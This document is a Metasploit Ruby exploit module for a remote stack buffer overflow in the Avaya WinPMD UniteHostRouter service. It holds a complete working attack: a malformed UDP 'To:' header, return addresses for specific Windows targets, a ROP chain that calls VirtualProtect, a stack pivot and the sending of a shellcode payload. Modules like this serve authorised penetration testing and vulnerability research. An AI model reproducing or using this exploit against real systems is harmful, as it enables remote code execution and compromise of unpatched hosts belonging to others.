Avaya WinPMD UniteHostRouter – Remote Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability exists in the UniteHostRouter service, due to the insecure usage of memcpy when parsing specially crafted "To:" headers. The module has been tested successfully on Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2. }, 'Author' => [ 'Abdul-Aziz Hariri', # Vulnerability discovery 'Abysssec', # PoC 'juan vazquez' # Metasploit module ], 'References' => [ ['OSVDB', '82764'], ['OSVDB', '73269'], ['BID', '47947'], ['EDB', '18397'], ['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'], ['URL', 'http://secunia.com/advisories/44062'] ], 'Payload' => { 'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f", 'Space' => 1024, 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ ['Avaya WinPMD 3.8.2 / Windows XP SP3', { 'Offset' => 260, 'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt } ], ['Avaya WinPMD 3.8.2 / Windows 2003 SP2', { 'Offset' => 260, 'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE } ] ], 'Privileged' => true, 'DisclosureDate' => 'May 23 2011', 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(3217) ], self.class) end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def exploit connect_udp if target.name =~ /Windows XP SP3/ buf = "\xeb\x7f" # jmp short $+0x81 buf << rand_text(0x81 - 2) buf << "\xeb\x7f" # jmp short $+0x81 buf << rand_text(0x81 - 2) buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap elsif target.name =~ /Windows 2003 SP2/ rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") buf = rand_text(3) # padding buf << rop_gadgets buf << "\xeb\x7f" # jmp $+0x81 buf << rand_text(0x81-2) buf << "\xeb\x25" # jmp short $+0x66 => to shellcode buf << rand_text(target['Offset'] - buf.length) buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap end request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n" if target.name =~ /Windows 2003 SP2/ request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 end request << payload.encoded # The shellcode will be stored in the heap print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...") udp_sock.put(request) disconnect_udp end end |